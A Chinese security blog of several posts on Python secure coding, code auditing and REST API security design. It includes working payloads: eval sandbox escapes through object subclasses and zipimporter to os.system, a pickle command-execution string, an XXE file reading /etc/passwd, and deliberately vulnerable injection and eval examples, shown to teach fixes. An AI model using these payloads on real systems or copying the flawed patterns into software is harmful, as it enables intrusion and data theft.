'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]

这句python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手
假如用户如果构造:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

这个restrictected mode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见Restricted Execution Mode,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

这就验证了刚才的safe_eval其实是不安全的。

3,如何正确使用

(1)使用ast.literal_eval
(2)如果仅仅是将字符转为dict,可以使用json格式

Python安全编码和代码审计

发表于 2015-07-30 | 分类于 Python | | 阅读次数

1 前言

现在一般的web开发框架安全已经做的挺好的了,比如大家常用的django,但是一些不规范的开发方式还是会导致一些常用的安全问题,下面就针对这些常用问题做一些总结。代码审计准备部分见《php代码审计》,这篇文档主要讲述各种常用错误场景,基本上都是咱们自己的开发人员犯的错误,敏感信息已经去除。

2 XSS

未对输入和输出做过滤,场景:

1
2
3
def xss_test(request):
name = request.GET['name']
return HttpResponse('hello %s' %(name))

在代码中一搜,发现有大量地方使用,比较正确的使用方式如下:

1
2
3
4
def xss_test(request):
name = request.GET['name']
#return HttpResponse('hello %s' %(name))
return render_to_response('hello.html', {'name':name})

更好的就是对输入做限制,比如说一个正则范围,输出使用正确的api或者做好过滤。

3 CSRF

对系统中一些重要的操作要做CSRF防护,比如登录,关机,扫描等。django 提供CSRF中间件django.middleware.csrf.CsrfViewMiddleware,写入到settings.py的中间件即可。

1
2
3
4
5
def my_view(request):
c = {}
c.update(csrf(request))
# ... view code here
return render_to_response("a_template.html", c)

4 命令注入

审计代码过程中发现了一些编写代码的不好的习惯,体现最严重的就是在命令注入方面,本来python自身的一些函数库就能完成的功能,偏偏要调用os.system来通过shell 命令执行来完成,老实说最烦这种写代码的啦。下面举个简单的例子:

1
2
3
4
5
6
 def myserve(request, filename, dirname):
  re = serve(request=request,path=filename,document_root=dirname,show_indexes=True)
  filestr='authExport.dat'
  re['Content-Disposition'] = 'attachment; filename="' + urlquote(filestr) +'"'fullname=os.path.join(dirname,filename)
  os.system('sudo rm -f %s'%fullname)
  return re

很显然这段代码是存在问题的,因为fullname是用户可控的。正确的做法是不使用os.system接口,改成python自有的库函数,这样就能避免命令注入。python的三种删除文件方式:
(1)shutil.rmtree 删除一个文件夹及所有文件
(2)os.rmdir 删除一个空目录
(3)os.remove,unlink 删除一个文件

使用了上述接口之后还得注意不能穿越目录,不然整个系统都有可能被删除了。常见的存在命令执行风险的函数如下:

1
os.system,os.popen,os.spaw*,os.exec*,os.open,os.popen*,commands.call,commands.getoutput,Popen*

推荐使用subprocess模块,同时确保shell=True未设置,否则也是存在注入风险的。

5 sql注入

如果是使用django的api去操作数据库就应该不会有sql注入了,但是因为一些其他原因使用了拼接sql,就会有sql注入风险。下面贴一个有注入风险的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def getUsers(user_id=None):
conn = psycopg2.connect("dbname='××' user='××' host='' password=''")
cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
if user_id==None:
str = 'select distinct * from auth_user'
else:
str='select distinct * from auth_user where id=%s'%user_id
res = cur.execute(str)
res = cur.fetchall()
conn.close()
return res
```
像这种sql拼接就有sql注入问题,正常情况下应该使用django的数据库api,如果实在有这方面的需求,可以按照如下方式写:
```python
def user_contacts(request):
user = request.GET['username']
sql = "SELECT * FROM user_contacts WHERE username = %s"
cursor = connection.cursor()
cursor.execute(sql, [user])
# do something with the results
results = cursor.fetchone() #or results = cursor.fetchall()
cursor.close()
```
直接拼接的是万万不可的,如果采用ModelInstance.objects.raw(sql,[]),或者connection.objects.execute(sql,[]) ,通过列表传进去的参数是没有注入风险的,因为django会有处理。
# 6 代码执行
一般是由于eval和pickle.loads的滥用造成的,特别是eval,大家都没有意识到这方面的问题。下面举个代码中的例子:
```python
@login_required
@permission_required("accounts.newTask_assess")
def targetLogin(request):
req = simplejson.loads(request.POST['loginarray'])
req=unicode(req).encode("utf-8")
loginarray=eval(req)
ip=_e(request,'ipList')
#targets=base64.b64decode(targets)
(iplist1,iplist2)=getIPTwoList(ip)
iplist1=list(set(iplist1))
iplist2=list(set(iplist2))
loginlist=[]
delobjs=[]
holdobjs=[]

这一段代码就是就是因为eval的参数不可控,导致任意代码执行,正确的做法就是literal.eval接口。再取个pickle.loads的例子:

1
2
3
4
>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0

7 文件操作

文件操作主要包含任意文件下载,删除,写入,覆盖等,如果能达到写入的目的时基本上就能写一个webshell了。下面举个任意文件下载的例子:

1
2
3
4
5
6
7
8
9
@login_required
@permission_required("accounts.newTask_assess")
def exportLoginCheck(request,filename):
if re.match(r“*.lic”,filename):
fullname = filename
else:
fullname = "/tmp/test.lic"
print fullname
return HttpResponse(fullname)

这段代码就存在着任意.lic文件下载的问题,没有做好限制目录穿越,同理

8 文件上传

8.1 任意文件上传

这里主要是未限制文件大小,可能导致ddos,未限制文件后缀,导致任意文件上传,未给文件重命名,可能导致目录穿越,文件覆盖等问题。

8.2 xml,excel等上传

在我们的产品中经常用到xml来保存一些配置文件,同时也支持xml文件的导出导入,这样在libxml2.9以下就可能导致xxe漏洞。就拿lxml来说吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/python# cat test.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<node id="11" name="bb" net="192.168.0.2-192.168.0.37" ltd="" gid="" />test&xxe;</root>
>>> from lxml import etree
>>> tree1 = etree.parse('test.xml')
>>> print etree.tostring(tree1.getroot())
<root>
<node id="11" name="bb" net="192.168.0.2-192.168.0.37" ltd="" gid=""/>testroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh

这是因为在lxml中默认采用的XMLParser导致的:

1
2
class XMLParser(_FeedParser)
| XMLParser(self, encoding=None, attribute_defaults=False, dtd_validation=False, load_dtd=False, no_network=True, ns_clean=False, recover=False, XMLSchema schema=None, remove_blank_text=False, resolve_entities=True, remove_comments=False, remove_pis=False, strip_cdata=True, target=None, compact=True)

关注其中两个关键参数,其中resolve_entities=True,no_network=True,其中resolve_entities=True会导致解析实体,no_network会为True就导致了该利用条件比较有效,会导致一些ssrf问题,不能将数据带出。在python中xml.dom.minidom,xml.etree.ElementTree不受影响

9 不安全的封装

9.1 eval 封装不彻底

仅仅是将__builtings__置为空,如下方式即可绕过,可参见bug84179

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/xxlegend/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

9.2 执行命令接口封装不彻底

在底层封装函数没有过滤shell元字符,仅仅是限定一些命令,但是其参数未做控制,可参见bug86011

10 总结

一切输入都是不可靠的,做好严格过滤。

REST API安全设计指南

发表于 2015-04-01 | 分类于 Python | | 阅读次数

1,REST API 简介

REST的全称是REpresentational State Transfer,表示表述性无状态传输,无需session,所以每次请求都得带上身份认证信息。rest是基于http协议的,也是无状态的。只是一种架构方式,所以它的安全特性都需我们自己实现,没有现成的。建议所有的请求都通过https协议发送。RESTful web services 概念的核心就是“资源”。 资源可以用 URI 来表示。客户端使用 HTTP 协议定义的方法来发送请求到这些 URIs,当然可能会导致这些被访问的”资源“状态的改变。HTTP请求对应关系如下:

1
2
3
4
5
6
7
8
9
========== ===================== ========================
HTTP 方法 行为 示例
========== ===================== ========================
GET 获取资源的信息 http://xx.com/api/orders
GET 获取某个特定资源的信息 http://xx.com/api/orders/123
POST 创建新资源 http://xx.com/api/orders
PUT 更新资源 http://xx.com/api/orders/123
DELETE 删除资源 http://xx.com/api/orders/123
========== ====================== =======================

对于请求的数据一般用json或者xml形式来表示,推荐使用json。

2,身份认证

身份认证包含很多种,有HTTP Basic,HTTP Digest,API KEY,Oauth,JWK等方式,下面简单讲解下:

##2.1 HTTP Basic
REST由于是无状态的传输,所以每一次请求都得带上身份认证信息,身份认证的方式,身份认证的方式有很多种,第一种便是http basic,这种方式在客户端要求简单,在服务端实现也非常简单,只需简单配置apache等web服务器即可实现,所以对于简单的服务来说还是挺方便的。但是这种方式安全性较低,就是简单的将用户名和密码base64编码放到header中。

1
2
3
base64编码前:Basic admin:admin
base64编码后:Basic YWRtaW46YWRtaW4=
放到Header中:Authorization: Basic YWRtaW46YWRtaW4=

正是因为是简单的base64编码存储,切记切记在这种方式下一定得注意使用ssl,不然就是裸奔了。
在某些产品中也是基于这种类似方式,只是没有使用apache的basic机制,而是自己写了认证框架,原理还是一样的,在一次请求中base64解码Authorization字段,再和认证信息做校验。很显然这种方式有问题,认证信息相当于明文传输,另外也没有防暴力破解功能。

##2.2 API KEY
API Key就是经过用户身份认证之后服务端给客户端分配一个API Key,类似:http://example.com/api?key=dfkaj134,一般的处理流程如下:
一个简单的设计示例如下:
client端:clint端

server端:server端

client端向服务端注册,服务端给客户端发送响应的api_key以及security_key,注意保存不要泄露,然后客户端根据api_key,secrity_key,timestrap,rest_uri采用hmacsha256算法得到一个hash值sign,构造途中的url发送给服务端。
服务端收到该请求后,首先验证api_key,是否存在,存在则获取该api_key的security_key,接着验证timestrap是否超过时间限制,可依据系统成而定,这样就防止了部分重放攻击,途中的rest_api是从url获取的为/rest/v1/interface/eth0,最后计算sign值,完之后和url中的sign值做校验。这样的设计就防止了数据被篡改。
通过这种API Key的设计方式加了时间戳防止了部分重放,加了校验,防止了数据被篡改,同时避免了传输用户名和密码,当然了也会有一定的开销。

2.3 Oauth1.0a或者Oauth2

OAuth协议适用于为外部应用授权访问本站资源的情况。其中的加密机制与HTTP Digest身份认证相比,安全性更高。使用和配置都比较复杂,这里就不涉及了。

2.4 JWT

JWT 是JSON Web Token,用于发送可通过数字签名和认证的东西,它包含一个紧凑的,URL安全的JSON对象,服务端可通过解析该值来验证是否有操作权限,是否过期等安全性检查。由于其紧凑的特点,可放在url中或者 HTTP Authorization头中,具体的算法就如下图jwt组成图

3 授权

身份认证之后就是授权,根据不同的身份,授予不同的访问权限。比如admin用户,普通用户,auditor用户都是不同的身份。简单的示例:

1
2
3
4
5
6
7
8
9
10
$roles = array(
'ADMIN'=>array(
'permit'=>array('/^((\/system\/(clouds|device)$/'), // 允许访问哪些URL的正则表达式
'deny'=>array('/^(\/system\/audit)$/') // 禁止访问哪些URL的正则表达式
),
'AUDIT'=>array(
'permit'=>array('/^(\/system\/audit)$/'),//允许访问的URL正则表达式
'deny'=>array('/^((\/system\/(clouds|device).*)$/')
)
);

上述是垂直权限的处理,如果遇到了平行权限的问题,如用户A获取用户B的身份信息或者更改其他用户信息,对于这些敏感数据接口都需要加上对用户的判断,这一步一般都在具体的逻辑实现中实现。

4 URL过滤

在进入逻辑处理之前,加入对URL的参数过滤,如/site/{num}/policy 限定num位置为整数等,如果不是参数则直接返回非法参数,设定一个url清单,不在不在url清单中的请求直接拒绝,这样能防止开发中的api泄露。rest api接口一般会用到GET,POST,PUT,DELETE,未实现的方法则直接返回方法不允许,对于POST,PUT方法的数据采用json格式,并且在进入逻辑前验证是否json,不合法返回json格式错误。

5 重要功能加密传输

第一步推荐SSL加密传输,同时对于系统中重要的功能做加密传输,如证书,一些数据,配置的备份功能,同时还得确保具备相应的权限,这一步会在授权中涉及。

6 速率限制

请求速率限制,根据api_key或者用户来判断某段时间的请求次数,将该数据更新到内存数据库(redis,memcached),达到最大数即不接受该用户的请求,同时这样还可以利用到内存数据库key在特定时间自动过期的特性。在php中可以使用APC,Alternative PHP Cache (APC) 是一个开放自由的PHP opcode 缓存。它的目标是提供一个自由、 开放,和健全的框架用于缓存和优化PHP的中间代码。在返回时设置X-Rate-Limit-Reset:当前时间段剩余秒数,APC的示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Route::filter('api.limit', function()
{
$key = sprintf('api:%s', Auth::user()->api_key);
// Create the key if it doesn't exist
Cache::add($key, 0, 60);
// Increment by 1
$count = Cache::increment($key);
// Fail if hourly requests exceeded
if ($count > Config::get('api.requests_per_hour'))
{
App::abort(403, 'Hourly request limit exceeded');
}
});

7 错误处理

对于非法的,导致系统出错的等请求都进行记录,一些重要的操作,如登录,注册等都通过日志接口输出展示。有一个统一的出错接口,对于400系列和500系列的错误都有相应的错误码和相关消息提示,如401:未授权;403:已经鉴权,但是没有相应权限。如不识别的url:{"result":"Invalid URL!"},错误的请求参数{"result":"json format error"},不允许的方法:{"result":"Method Not Allowed"},非法参数等。上面所说的都是单状态码,同时还有多状态码,表示部分成功,部分字符非法等。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 207 Multi-Status
Content-Type: application/json; charset="UTF-8"
Content-Length: XXXX
{
"OPT_STATUS": 207
"DATA": {
"IP_ADDRESS": [{
"INTERFACE": "eth0",
"IP_LIST":[{
"IP": "192.168.1.1",
"MASK": "255.255.0.0",
"MULTI_STATUS": 200,
"MULTI_RESULT": "created successfully"
},{
"IP": "192.167.1.1",
"MASK": "255.255.0.0",
"MULTI_STATUS": 409,
"MULTI_RESULT": "invalid parameter"
}]
}]
},

8 重要ID不透明处理

在系统一些敏感功能上,比如/user/1123 可获取id=1123用户的信息,为了防止字典遍历攻击,可对id进行url62或者uuid处理,这样处理的id是唯一的,并且还是字符安全的。

9 其他注意事项

(1)请求数据,对于POST,DELETE方法中的数据都采用json格式,当然不是说rest架构不支持xml,由于xml太不好解析,对于大部分的应用json已经足够,近一些的趋势也是json越来越流行,并且json格式也不会有xml的一些安全问题,如xxe。使用json格式目前能防止扫描器自动扫描。
(2)返回数据统一编码格式,统一返回类型,如Content-Type: application/json; charset=”UTF-8”
(3)在逻辑实现中,json解码之后进行参数验证或者转义操作,第一步json格式验证,第二步具体参数验证基本上能防止大部分的注入问题了。
(4)在传输过程中,采用SSL保证传输安全。
(5)存储安全,重要信息加密存储,如认证信息hash保存。

总之,尽量使用SSL。

1234
廖新喜

廖新喜

分享些安全编码,漏洞分析

35 日志
17 分类
124 标签
RSS
GitHub Twitter Weibo
© 2020 廖新喜
由 Hexo 强力驱动
主题 - NexT.Mist